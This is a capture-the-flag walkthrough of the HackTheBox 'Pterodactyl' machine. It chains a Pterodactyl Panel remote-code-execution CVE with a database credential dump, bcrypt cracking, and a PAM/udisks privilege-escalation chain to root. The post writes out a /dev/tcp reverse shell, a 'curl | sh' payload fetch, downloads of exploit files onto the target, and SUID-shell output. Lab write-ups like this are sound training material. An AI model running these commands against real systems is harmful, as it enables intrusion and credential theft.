HackTheBox: Pterodactyl - CVE-2025-49132 RCE & Chained LPE to Root
Introduction
Welcome back to another deep-dive walkthrough. Today we're taking on Pterodactyl, a medium-rated Linux machine from HackTheBox Season 10. This box is a full-chain exploitation challenge that ties together:
- Subdomain enumeration and VHost discovery in a custom CTF environment
- CVE-2025-49132 — a critical (CVSS 10.0) unauthenticated Remote Code Execution vulnerability in Pterodactyl Panel
- Credential harvesting from a MariaDB database exposed via the reverse shell
- Password hash cracking with John the Ripper
- Chained privilege escalation via CVE-2025-6018 (PAM Environment Hijacking) and CVE-2025-6019 (udisks LPE for a SUID root shell)
Buckle up — this one is packed.
1. Initial Setup: VPN & Connectivity
As always, we start by connecting to the HTB network via OpenVPN:
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $sudo openvpn machines_us-2.ovpn
2026-02-22 02:25:58 OpenVPN 2.6.14 x86_64-pc-linux-gnu
2026-02-22 02:25:59 VERIFY OK: depth=0, C=GR, O=Hack The Box, CN=us-free-2
With the tunnel up, a quick ping confirms the target is reachable:
└──╼ $ping 10.129.1.46
PING 10.129.1.46 (10.129.1.46) 56(84) bytes of data.
64 bytes from 10.129.1.46: icmp_seq=1 ttl=63 time=575 ms
64 bytes from 10.129.1.46: icmp_seq=2 ttl=63 time=397 ms
64 bytes from 10.129.1.46: icmp_seq=3 ttl=63 time=355 ms
--- 10.129.1.46 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss
rtt min/avg/max/mdev = 354.920/442.427/574.579/82.455 ms
2. Enumeration & Reconnaissance
Port Scanning
I ran my custom TCP scanner, tcp-blast, against the target:
┌─[g4rxd@parrot]─[~/Desktop/Projects/sd-blast]
└──╼ $tcp-blast -t 10.129.1.46 -p 1-1000
████████╗ ██████╗ ██████╗ ██████╗ ██╗ █████╗ ███████╗████████╗
╚══██╔══╝██╔════╝ ██╔══██╗ ██╔══██╗██║ ██╔══██╗██╔════╝╚══██╔══╝
██║ ██║ ███╗██████╔╝█████╗██████╔╝██║ ███████║███████╗ ██║
██║ ██║ ██║██╔═══╝ ╚════╝██╔══██╗██║ ██╔══██║╚════██║ ██║
██║ ╚██████╔╝██║ ██████╔╝███████╗██║ ██║███████║ ██║
╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝
tcp-blast v1.1 | Fast Bash TCP Port Scanner
Made By @4nuxd
------------------------------------------------------------------------
[*] Target : 10.129.1.46
[*] Ports : 1-1000
[*] Threads : 50
[*] Timeout : 1s
------------------------------------------------------------------------
PORT SERVICE STATUS VERSION/BANNER
------------------------------------------------------------------------
[+] 22 ssh OPEN
[+] 80 http OPEN nginx/1.21.5
------------------------------------------------------------------------
[✓] Success: Found 2 open port(s)
[*] Total scan time: 21 seconds
Tool: tcp-blast
Two open ports: SSH (22) and HTTP (80) running Nginx 1.21.5.
Web Discovery & Hosts Configuration
Visiting http://10.129.1.46 redirected to http://pterodactyl.htb/. Added the domain to /etc/hosts:
└──╼ $sudo nano /etc/hosts
# Entry added:
10.129.1.46 pterodactyl.htb
After the hosts file update, pterodactyl.htb revealed a Minecraft server landing page:

The homepage advertises a Minecraft community server at play.pterodactyl.htb — but there's likely more hiding behind other subdomains.
3. Subdomain Enumeration
I used my subdomain enumeration tool, sd-blast, which runs 10+ passive and active sources in parallel — including a custom VHost brute-force mode targeting the IP directly:
┌─[g4rxd@parrot]─[~/Desktop/Projects/sd-blast]
└──╼ $sd-blast -t pterodactyl.htb
██████╗ ██╗ ██╗██████╗ ██╗ ██╗██████╗
██╔════╝ ██║ ██║██╔══██╗╚██╗██╔╝██╔══██╗
██║ ███╗███████║██████╔╝ ╚███╔╝ ██║ ██║
██║ ██║╚════██║██╔══██╗ ██╔██╗ ██║ ██║
╚██████╔╝ ██║██║ ██║██╔╝ ██╗██████╔╝
╚═════╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
God-Level Subdomain Enumerator v3.2.0
─────────────────────────────────────────────────────
35+ passive sources · 18 tools · zone-xfer · probe · PARALLEL
[+] Target : pterodactyl.htb
[i] VHost mode enabled — hitting 10.129.1.46 with Host: headers (bypassing DNS)
[1/10] subfinder → 0 results
[2/10] amass → 0 results
...
[10/10] vhost-brute → 1 results
[✓] Raw unique subdomains : 1
Domain: pterodactyl.htb
All subs: panel.pterodactyl.htb
Tool: sd-blast
Discovery: panel.pterodactyl.htb — added to /etc/hosts alongside the main domain.
10.129.1.46 pterodactyl.htb panel.pterodactyl.htb
4. Foothold: CVE-2025-49132 — Unauthenticated RCE
Navigating to http://panel.pterodactyl.htb/auth/login reveals the Pterodactyl Panel login page:

Checking the changelog at http://pterodactyl.htb/changelog.txt reveals the exact version:
[Installed] Pterodactyl Panel v1.11.10
- Configured environment:
- PHP with required extensions.
- MariaDB 11.8.3 backend.
Vulnerability Analysis: CVE-2025-49132
A quick search reveals a devastating vulnerability for this exact version.
CVE-2025-49132 — Critical (CVSS 10.0) — Unauthenticated Remote Code Execution in Pterodactyl Panel.
The panel's
/locales/locale.jsonendpoint acceptslocaleandnamespacequery parameters without sanitization. An attacker can abuse these parameters alongside PEAR'spearcmdto write and execute arbitrary PHP files on the server — no authentication required.
- CVE Details: https://4nuxd.one/cve/CVE-2025-49132
- Exploit: https://github.com/4nuxd/CVE-2025-49132
The broken trust chain in short:
- The panel blindly trusts user-controlled
localeandnamespaceparameters. - These parameters cross a security boundary into PEAR's configuration system.
- PEAR writes a PHP config file controlled by the attacker into a web-accessible directory.
- Visiting the dropped payload triggers arbitrary server-side code execution.
Setting Up the Attack
Step 1: Write a reverse shell script (shell.sh):
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $cat shell.sh
sh -i >& /dev/tcp/10.10.14.64/4444 0>&1
Step 2: Start a local HTTP server to host the payload:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Step 3: Start a Netcat listener to catch the shell:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $nc -lvnp 4444
Listening on 0.0.0.0 4444
Step 4: Fire the exploit, ordering the target to download and execute shell.sh:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $python3 CVE-2025-49132.py --target "pterodactyl.htb" \
--cmd 'curl http://10.10.14.64:8000/shell.sh | sh'
The exploit uses PEAR's pearcmd to write a PHP file containing our payload, then triggers it via the vulnerable endpoint. Shortly after, the HTTP server logs the incoming request:
10.129.1.46 - - [22/Feb/2026 03:29:55] "GET /shell.sh HTTP/1.1" 200 -
Shell Caught
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.1.46 35420
sh: cannot set terminal process group (1214): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$
We're in as wwwrun — the web server service account.
Stabilizing the Shell
sh-4.4$ python3 -c 'import pty; pty.spawn("/bin/bash")'
wwwrun@pterodactyl:/var/www/pterodactyl>
5. Post-Exploitation: User Flag
Exploring the filesystem from our shell:
wwwrun@pterodactyl:/var/www/pterodactyl> cd /
wwwrun@pterodactyl:/> cd home
wwwrun@pterodactyl:/home> ls
headmonitor phileasfogg3
wwwrun@pterodactyl:/home> cd phileasfogg3
wwwrun@pterodactyl:/home/phileasfogg3> cat user.txt
b1bcfd6cb5c9a461b6[Re]
🏁 User Flag: b1bcfd6cb5c9a46[Redacted]
6. Lateral Movement: MariaDB Credential Dump
The web root contains the Laravel .env file — a goldmine for credentials:
wwwrun@pterodactyl:/var/www/pterodactyl> cat .env
APP_URL="http://panel.pterodactyl.htb"
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
With the DB credentials in hand, I queried the users table directly from the reverse shell (since the DB only listens on localhost):
wwwrun@pterodactyl:/var/www/pterodactyl> mysql -h 127.0.0.1 -P 3306 \
-u pterodactyl -pPteraPanel -D panel \
-e "SELECT email,username,password FROM users;"
+------------------------------+--------------+--------------------------------------------------------------+
| email | username | password |
+------------------------------+--------------+--------------------------------------------------------------+
| headmonitor@pterodactyl.htb | headmonitor | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3@pterodactyl.htb | phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+------------------------------+--------------+--------------------------------------------------------------+
Two bcrypt hashes obtained. Time to crack them.
Hash Cracking with John the Ripper
Saved the hashes to a local file and ran John against rockyou.txt:
┌─[g4rxd@parrot]─[~]
└──╼ $cat hashes.txt
$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi
└──╼ $john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
!QAZ2wsx (phileasfogg3)
Password cracked: !QAZ2wsx for user phileasfogg3.
SSH Login as phileasfogg3
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $ssh phileasfogg3@10.129.1.46
(phileasfogg3@10.129.1.46) Password: !QAZ2wsx
Have a lot of fun...
Last login: Sun Feb 22 00:29:36 2026 from 10.10.14.64
phileasfogg3@pterodactyl:~> whoami
phileasfogg3
7. Privilege Escalation: A Two-CVE Chain to Root
Initial Enumeration
Checking what phileasfogg3 can do:
phileasfogg3@pterodactyl:~> sudo -l
User phileasfogg3 may run the following commands on pterodactyl:
(ALL) ALL
Interesting — full sudo access, but it requires the user's own password (due to targetpw). Standard SUID/setuid hunting didn't yield anything useful since the system was hardened.
After thorough enumeration, I checked the user's mail:
phileasfogg3@pterodactyl:/var/mail> cat phileasfogg3
From: headmonitor headmonitor@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Attention all users,
Unusual activity has been observed from the udisks daemon (udisksd).
No confirmed compromise at this time, but increased vigilance is required.
Do not connect untrusted external media. Review your sessions for
suspicious activity. Administrators should review udisks and system logs
and apply pending updates.
— HeadMonitor, System Administrator
The mail is a massive hint: udisksd. This points directly to a known privilege escalation chain.
Phase 1 — CVE-2025-6018: PAM Environment Hijacking
CVE-2025-6018 leverages a vulnerability in PAM's environment loading mechanism to inject environment variables into privileged processes when a new SSH session authenticates.
We set up a Python virtual environment and install the required dependencies:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl/CVE-2025-6019]
└──╼ $python3 -m venv 6018
└──╼ $source 6018/bin/activate
(6018) └──╼ $pip install paramiko pyinstaller
Successfully installed paramiko-4.0.0 pyinstaller-6.19.0 ...
The exploit connects via SSH as phileasfogg3, writes a malicious .pam_environment file, then reconnects to trigger the environment loading and confirm privilege escalation vectors:
(6018) └──╼ $./CVE-2025-6018.py -i 10.129.1.46 -u phileasfogg3 -p '!QAZ2wsx'
2026-02-22 05:14:03 [INFO] Starting CVE-2025-6018 exploit against 10.129.1.46:22
2026-02-22 05:14:06 [INFO] Authentication (password) successful!
2026-02-22 05:14:07 [INFO] Vulnerable PAM version detected: pam-1.3.0
2026-02-22 05:14:11 [INFO] pam_systemd.so found - escalation vector available
2026-02-22 05:14:16 [INFO] Malicious environment file created successfully
2026-02-22 05:14:23 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Reboot
2026-02-22 05:14:24 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Shutdown
2026-02-22 05:14:26 [INFO] EXPLOITATION SUCCESSFUL - Privilege escalation confirmed
--- Interactive Shell ---
Commands: 'exit' to quit, 'status' for privilege check
exploit$
We now have an elevated interactive shell session via CVE-2025-6018.
Phase 2 — CVE-2025-6019: udisks LPE for SUID Root Shell
CVE-2025-6019 is a Local Privilege Escalation vulnerability in libblockdev/udisks, which allows an authenticated local user to trigger a race condition during filesystem mount operations to plant a SUID bash binary.
Step 1: Prepare the exploit and XFS image on the attacker machine:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl/CVE-2025-6019]
└──╼ $sudo bash exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
Continue? [y/N]: y
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): l
[+] 300 MB XFS image created: ./xfs.image
Step 2: Transfer the exploit and XFS image to the target via a Python HTTP server:
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl/CVE-2025-6019]
└──╼ $python3 -m http.server
10.129.1.46 - [22/Feb/2026 04:18:22] "GET /exploit.sh HTTP/1.1" 200 -
10.129.1.46 - [22/Feb/2026 04:21:39] "GET /xfs.image HTTP/1.1" 200 -
On the target (via the CVE-2025-6018 elevated shell):
exploit$ cd /var/mail
exploit$ wget http://10.10.14.64:8000/exploit.sh
exploit.sh [100%] 9.72K 4.24KB/s
exploit$ wget http://10.10.14.64:8000/xfs.image
xfs.image [100%] 300.00M 1.29MB/s
Step 3: Execute the exploit in [C]ible (target) mode from within the elevated shell:
exploit$ bash exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
Continue? [y/N]: y
[*] Checking allow_active status...
[+] allow_active status confirmed.
[*] Verifying xfs.image integrity...
[*] Setting up loop device...
[+] Loop device configured: /dev/loop0
[*] Keeping filesystem busy to prevent unmounting...
[+] Background loop started (PID: 18618)
[*] Resizing filesystem to trigger mount...
[+] Mount successful (expected error: target is busy).
[*] Waiting 2 seconds for mount to stabilize...
[*] Checking for SUID bash in /tmp/blockdev*...
[+] SUID bash found: /tmp/blockdev.76Z7K3/bash
-rwsr-xr-x 1 root root 1298416 Feb 22 00:50 /tmp/blockdev.76Z7K3/bash
[*] Executing root shell...
bash-5.2#
Verifying Root
bash-5.2# id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
We have an effective UID of 0 — root.
8. Root Flag
bash-5.2# cat /root/root.txt
ac4cde841d5199f[Redacted]
🏁 Root Flag: ac4cde841d7[Redacted]
Summary & Takeaways
| Step | Technique | Tool / CVE |
|---|---|---|
| Recon | TCP Port Scan | tcp-blast |
| Discovery | VHost Subdomain Brute-Force | sd-blast |
| Foothold | Unauthenticated RCE via PEAR pearcmd abuse | CVE-2025-49132 |
| Credentials | MariaDB dump from .env | MySQL CLI |
| Hash Crack | bcrypt cracked with rockyou.txt | John the Ripper |
| PrivEsc Phase 1 | PAM environment variable hijacking | CVE-2025-6018 |
| PrivEsc Phase 2 | udisks race condition → SUID bash | CVE-2025-6019 |
| Root | SUID bash -p | bash-5.2 |
Pterodactyl is an excellent box that demonstrates how a single public-facing web application running on an outdated version can chain into a full system compromise. The CVE-2025-49132 exploit is particularly impactful because it's completely unauthenticated — no credentials needed, just a reachable web server. The privilege escalation chain via PAM + udisks shows that even after initial access, creative enumeration (like reading local mail!) can reveal the exact path to root.
Key lessons:
- Always check local mail —
/var/mail/<user>is a goldmine for hints. - Changelog files on web servers expose version numbers, and version numbers lead to CVEs.
- Layered exploits: CVE-2025-6018 unlocked the
allow_activepolkit privilege that CVE-2025-6019 needed. Neither worked alone.
If you have any questions or want to discuss this walkthrough, feel free to reach out on Twitter / X or use the interactive terminal on this site!
Mission Accomplished. 🏁